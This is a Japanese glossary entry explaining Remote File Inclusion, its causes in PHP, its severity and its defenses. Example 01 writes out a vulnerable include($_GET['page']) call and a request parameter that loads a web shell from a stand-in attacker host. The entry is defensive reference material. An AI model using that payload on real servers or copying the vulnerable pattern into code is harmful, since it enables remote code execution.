リモートファイルインクルージョン(RFI)
リモートファイルインクルージョン(RFI) とは何ですか?
リモートファイルインクルージョン(RFI)攻撃者が指定する遠隔 URL からコードを取得して実行するよう、サーバーに強制できる脆弱性。
リモートファイルインクルージョン(RFI)は、アプリがユーザー制御の入力を include や require 関数に渡し、ランタイムがリモート URL を許容する場合に発生します(例:allow_url_include を有効にした PHP)。サーバーは攻撃者制御のホストからファイルをダウンロードし、自身のプロセス内で実行するため、即時にリモートコード実行が成立します。RFI はサーバーへの事前書き込み権限を必要としないため、一般に LFI より深刻です。対策は、ランタイムでリモート URL のインクルードを無効化、静的モジュール名の厳格なホワイトリスト、ユーザー入力から派生するパスをインクルードしない、エグレスフィルタリングを伴うアプリサーバーのセグメンテーションなどです。
● 例
- 01
include($_GET['page']) を呼び出す PHP アプリで、?page=https://attacker.example/shell.txt が Web シェルを取得して実行する。
- 02
URL パラメータから管理ページを読み込む古い CMS プラグインが、攻撃者がホストする PHP ファイルの実行を許してしまう。
● よくある質問
リモートファイルインクルージョン(RFI) とは何ですか?
攻撃者が指定する遠隔 URL からコードを取得して実行するよう、サーバーに強制できる脆弱性。 サイバーセキュリティの 攻撃と脅威 カテゴリに属します。
リモートファイルインクルージョン(RFI) とはどういう意味ですか?
攻撃者が指定する遠隔 URL からコードを取得して実行するよう、サーバーに強制できる脆弱性。
リモートファイルインクルージョン(RFI) からどのように防御しますか?
リモートファイルインクルージョン(RFI) に対する防御は通常、上記の定義で述べたとおり、技術的統制と運用上の実践を組み合わせます。
リモートファイルインクルージョン(RFI) の別名は何ですか?
一般的な別名: RFI。